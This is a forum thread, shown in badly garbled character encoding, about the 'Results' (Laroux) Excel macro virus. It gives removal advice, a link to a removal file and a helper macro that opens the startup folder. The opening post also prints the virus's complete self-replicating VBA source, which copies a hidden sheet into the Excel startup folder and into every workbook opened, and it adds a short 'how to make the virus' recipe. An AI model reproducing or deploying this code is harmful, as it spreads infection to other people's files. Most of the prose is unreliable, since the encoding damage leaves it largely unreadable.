ªð¦^¦Cªí ¤W¤@¥DÃD µo©«

[¤À¨É] EXCEL¥¨¶°¯f¬r®×¨Ò("Results")

[¤À¨É] EXCEL¥¨¶°¯f¬r®×¨Ò("Results")

¥»©«³Ì«á¥Ñ HUNGCHILIN ©ó 2012-6-8 21:22 ½s¿è

2012/6/8¤é¥H«áEXCEL«OÅ@«O±K§Þ¥©©«¤£¦A³]©w¾\ŪÅv­­

TO ¦U¦ì¹Ù¦ñ:
Results¯f¬rMacro.Excel.Laroux.cs/X97M.Laroux.DX1
³o­Ó¤£¬O¯f¬rªº¯f¬r¦b2009¦~©³»P2010¦~ªì¦b ¦U¤j½×¾Â³y¦¨«Ü¦h§xÂZ
¤¤ªº¤H¤j³¡¤À³£¬OVBA°ª¤â.¤j®a³£½|ªº­n©R
¦Ü¤µ½×¾Â¤W¥u·|¸Ñ°£¦ý³£¤@ª½¤£ª¾¹D¨ä­ì²z ¦p¤U³sµ²
´N¦b¦¹»¡©ú¤@¤G

¯f¬r°T®§:
[«Ø议] 谁¦b·d¡@RESULTS.XLS¡@这个
[¨D§U] ¦p¦ó删 VBA project (Results.xls) °£这个东¦è?
[讨论] Results§»¯f¬rªº²M°£¤Î§K¬Ì¤u¨ã
删°£Results¯f¬rªº¤p东东,¤w测试¦¨¥\
¤â¤u删°£RESULT¯f¬rªº¤èªk.
[¤w¸Ñ决]¤QÉE¤õ«æªº¨Æ±¡¡A¤¤¯f¬r¤F¡C

¯f¬rµ{§Ç:
¤j®a¬ã¨s¤@¤Uresults这个宠¯f¬r
[¤w¸Ñ决]«ç¤\删°£§»¯f¬r¡I¡Iexcelªí¤¤¬r¡I¡I
[¤w¸Ñ决]请±Ð¡G这¬q¥N码¬O¤°¤\·N«ä¡H¬O¯f¬r吗¡H

¨ä¥L¸ÑÄÀ(¥uÁ¿¤@¥b):
试试这个§K¬Ì¤å¥ó§a:http://www.excelba.com/Soft/Html/143.html
RESULTS.XLS(Macro.Excel.Laroux.cs恶·Nµ{§Ç)§K¬Ì¤å¥ó说©ú
§@ªÌ¡Gbengdeng | 来·½¡GExcel§a
¤@¡BMacro.Excel.Laroux.cs恶·Nµ{§Ç简¤¶
¯f¬r类«¬¡G§»¯f¬r
¯f¬r¦æ为¡G
1. 将¤u§@ªíªº¿E¬¡¨Æ¥ó«ü©w为¡§ck_files¡¨¡C
2. ¦b Excel ªº启动¥Ø录¤U¥Í¦¨¡§RESULTS.XLS¡¨¤å¥ó¦}隐Âæa¥´开¥H«K调¥Î¨ä¡§ck_files¡¨¨ç数¡C
3. ¦b¥´开ªº­ì来¤w¥]§t§»¥N码ªºExcel¤å¥ó时¡A´¡¤J¤@个Results¼Ò块¡C

¤G¡BMacro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤å¥ó¨Ï¥Î说©ú
Macro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤å¥ó¤U载¦a§}
http://www.excelba.com/Soft/Html/143.html  
¤U载Macro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤å¥ó¦Z,请关闭Excel
µM¦Z§â§K¬Ì¤å¥óÂÐ盖Excel启动¥Ø录¤å¥ó¤¤ªºRESULTS.XLS
Excel启动¤å¥ó夹¥Ø录为¡G
C:\Documents and Settings\当«e¥Î户¦W\Application Data\Microsoft\Excel\XLSTART
¨ä¤¤ªº当«e¥Î户¦W为§A当«e电脑ªº¥Î户¦W
PS¡G¡]¦pªG¥´开¦¹¤å¥ó时启¥Î§»¡A则¤W­±ªº¤å¥ó夹¸ô径¤w¦Û动§ó·s¦}«O¦s¡^
ª`·N:¦¹§K¬Ì¤å¥ó¦W称¤£¯à§ï¦W¡A¥]¬A扩´²¦W.XLS¦b内³£­n为¤j写¡X¡X§YRESULTS.XLS
¦pªG§A¤£·Q¦A¨Ï¥Î¦¹¤å¥ó,请进¤JExcel启动¤å¥ó夹¤¤删°£¦¹RESULTS.XLS¤å¥ó§Y¥i¡C

¤T¡B§K¬Ì¤å¥ó´£¥Ü«H®§说©ú
当¥´开¥]§t¦³Macro.Excel.Laroux.cs恶·Nµ{§Çªº¤å¥ó时
§K¬Ìµ{§Ç会´£¥Ü¬O§_删°£¡I
¦pªG点击¬O则删°£¤å¥ó¤¤ªºMacro.Excel.Laroux.cs恶·Nµ{§Ç¼Ò块¡I
¦}´£¥ÜÚÌ认¤å¥ó§¹¾ã©Ê¦Z«O¦s¡I¡I¤Á记­n¦Û¤v¤â动«O¦s¡I
¦pªG点击§_则没删°£¤å¥ó¤¤ªºMacro.Excel.Laroux.cs恶·Nµ{§Ç¡I
±z¥i¥H¦Û¦æ¦bVBA编辑¾¹¤¤删°£results¼Ò块¦Z«O¦s!
当¥´开¥]§t¦³Macro.Excel.Laroux.cs恶·Nµ{§Ç§K¬Ì¤u§@ªíªº¤å¥ó时
§K¬Ìµ{§Ç会显¥Ü¦¹¤u§@ªí
(ª`¡G¦¹¤u§@ªí为Macro.Excel.Laroux.cs恶·Nµ{§Ç运¦æ¦Z从§K¬Ì¤å¥ó¤¤Î`¨î¦}隐Â꺡^
请ÚÌ认¦¹¤u§@ªí为无¥Î¤u§@ªí¦Z¡A删°£¤u§@ªí¦A«O¦s¡I¡I

¥|¡B§K¬Ì¤å¥óÉOMacro.Excel.Laroux.cs恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥óªº区别
1¡B两ªÌ³£为RESULTS.XLS¡A¦ý§K费¤å¥ó¥´开时¬Ý¨ìªº¬O¨Ï¥Î说©úRESULTS¤u§@ªí
¦Ó恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥ó¥´开时为隐ÂáA§A¥i¥H¦bµ¡¤f/¨ú®ø隐Â䤬ݨì隐Â꺤å¥ó¡C
2¡B§K¬Ì¤å¥ó¤¤¥]§t¤@个Results¤u§@ªí¡A¤@个Main_Excelba¼Ò块©M¤@个Excelba类¼Ò块
¦Ó恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥ó¥]§t¤@个Sheet1¤u§@ªí©M¤@个Results¼Ò块¡C
3¡B§K¬Ì¤å¥ó让杀¬r软¥ó¬d杀ªº结ªG为¦w¥þ¤å¥ó
¦Ó恶·Nµ{§Ç¥Í¦¨ªºRESULTS.XLS¤å¥ó¬d杀结ªG为¤£¦w¥þ¤å¥ó¡C

¤­¡B§Ö³t§Q¥Î360杀¬rÚÌ认Excel¤å¥ó¬O§_¥]§tMacro.Excel.Laroux.cs恶·Nµ{§Ç
­º¥ý¦b开©l/·j¯Á¤¤¡A«ö条¥ó为  *.xls  ·j¯Á¥X©Ò¦³ªºExcel¤å¥ó
µM¦Z¦b«öCtrl+A¥þ选这¨Ç¤å¥ó
¦A¥k击§Q¥Î¥k键µæ单¤¤ªº¨Ï¥Î 360杀¬r 扫´y¬d¬r
¦pªG¦b¬d杀¤¤ªº«Â胁¦W称为¡G恶·Nµ{§Ç(X97M.Laroux.DX1)
´N¬O¥]¬A¦³Macro.Excel.Laroux.cs恶·Nµ{§ÇªºExcel¤å¥ó
µM¦Zª`·N¡I¡I¤£­n点开©l处²z
(¦pªG点¤F开©l处²z360会删°£¾ã个¤å¥ó¥]¬A§A¦³¥Îªº内®e¡I¡I§A¥i¥H¦b360杀¬rªº¤å¥ó¹jÖÃ区«ìÎ`)
§âExcelªº¦w¥þ级别设©w为¤¤¡A¤@个个¥´开这¨Ç¤å¥ó
¦}¦b¥´开¤å¥ó时¡A¸T¥Î§»
µM¦Z´N¥i¥H«ö§K¬Ì¤å¥ó´£¥Ü¥u删°£恶·Nµ{§Ç¦Ó¤£会删°£­ì来¦³¥Îªº内®e¡C

转载请ª`©ú:¥»¤å来¦Û:Excel§a (www.excelba.com) 详细¥X处参¦Ò¡Ghttp://www.excelba.com/Art/Html/351.html

¦¹ªk¸g´ú¸Õexcel95~2010§¡¥i¥Î2007¥H«áÀɮ׮榡­nÂà´«¦¨xlsmÀÉ
­Y¬O§@¦¨¯f¬r·P¬V¡A§Ú·|»s¦¨xlsÀÉ¡AµM«á¥Îª©¥»§P§Oµ{¦¡§PÂ_¡A¨Ï¥Î2007¥H«áª©¥»®É·|¥t¦s¦¨xlsmÀÉ®×
³o¼Ë·P¬V®É¦Uª©¥»´N·|³q¥Î
-----------------------------------------------------------------------------------------------------
ª`·N¦¹ÀɮסA¦³ÀÉ®×·P¬V©Ê:
1.°õ¦æ¦¹ªþ¥ó¯f¬r«á¡A½Ð¯S§Oª`·N¨ìApplication.StartupPath ¸ô®|¸ê®Æ§¨²M°£ "RESULTS.XLS"ÀÉ®×
¦p¦ó¸Ñ°£¡A½Ð°õ¦æ¤U¦Cµ{§Ç·|¦Û°Ê¶}±Ò¦s©ñ¸ô®|¸ê®Æ§¨:
    Sub StartupPathA()
    '¨Ï¥ÎªÌ¹q¸£¤WMicrosoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡C
    '³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
    On Error GoTo Error1
    Dim mySh As Shell32.Shell
    Set mySh = CreateObject("Shell.Application")
    mySh.Explore Application.StartupPath  '¥ô·Nªº¸ê®Æ§¨
    Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
    Error1: End Sub
    '(EXCEL2003ª©¦b³o¸ô®|¡AC:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)


2.½Ð°w¹ï¦¹©«¤º®e»PÀɮ׫O±K¡A¬ªº|¤Ó¦h¡A¹ïEXCEL¥@¬É·|³y¦¨²V¶Ã
3.¦¹Äݯµ§Þ¤¤ªº¯µ§Þ¡A¨S¤Hª¾¹D¡A´N¶X¦¹¦¸¦b¦¹©«§@ºô¸ô¤W²Ä¤@¦¸¥¿¸Ñ­ì²z»¡©ú

¦¹ÀÉ®×¼Ò²Õ·P¬V­ì²z:
1.§Ú·Q³o¼Ë¤j®a´N·|ª¾¹D¡A²Ä2ÂI³o«h³sµ²­n¦p¦óÀ³¥Î¡A
¦³¦MÀI¡B²³æ¡B­n³]©wÅv­­[50]ªº­ì¦]

2.[­ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª

°õ¦æ®ÄªG:
1.¨Ï¥Î¦¹ÀÉ ¦¹ÀÉ·|¦Û°Ê¥t¦s "RESULTS.XLS"ÀɮרìApplication.StartupPath ¸ô®|¸ê®Æ§¨
2.·s¼WÀÉ®×»P¶}±ÒÂÂÀɳ£·|¦Û°Ê²¾´Ó¤J¦¹·P¬V¼Ò²Õ¡A­Y¤£ª`·N§A©Ò¦³¨Ï¥Î¹LªºEXCELÀɮ׳£·|¨ü·P¬V
3.¯f¬rµ{¦¡¦p¤U
-----------------------------------------------------------------------------------------------------
Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

-----------------------------------------------------------------------------------------------------
P.S.
¯f¬r§@ªk¨BÆJ:
1.±N¤W­zµ{¦¡½XCOPY¨ì EXCEL ¼Ò²Õ¤¤
2.±N¼Ò²Õ¦WºÙ§ï¬° results
3.[­ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª
§Y¥i§¹¦¨

¦^´_ 1# HUNGCHILIN


   ¦b¦¹¾G­«´£¿ô¦U¦ìª©¤Í¡A­«µø¥¨¶°¯f¬rªº°ÝÃD¡A¤F¸Ñ¥L¡A¹w¨¾¥L¡C
¤d¸U§O±N³o¨Çª¾ÃÑ®³¨Ó°µ¯}Ãa¦æ¬°¡C
¾Ç®üµL²P_¤£®¢¤U°Ý

TOP

¦³¤H§â³oµ{§Ç ¼Ò²Õ¦WºÙ§ï¬° "BINV.XLS" ¤S¶Ç¥X¨Ó
©Ò¥H¬Ý¨ì "BINV.XLS" ·P¬V«h»P¦¹­ì²zµ{¦¡¤@¼Ò¤@¼Ë

TOP

§Ú¦b¦Ò虑这样ªº东¦è..¥¨¶°¯f¬r变¤Æ¤Ó¦h..¬Æ¦Ü¨C个¤H¤U载¤U来´N¥i¥H­×§ï,·Q§ä¤@个¤@劳¥Ã¶hªº¤èªk,¥i¥H彻©³¸T¤î这样¦Û动Î`¨îªº恶·Nµ{§Ç,¦P时¤S¤£§«碍¨ä¥L¤å¥ó©M个¤H¤u§@諸运¦æ

TOP

        ÀR«ä¦Û¦b : ¦³Ä@©ñ¦b¤ß¸Ì¡A¨S¦³¨­Åé¤O¦æ¡A¥¿¦p¯Ñ¥Ð¤£¼½ºØ¡A¬Ò¬OªÅ¹L¦]½t¡C
ªð¦^¦Cªí ¤W¤@¥DÃD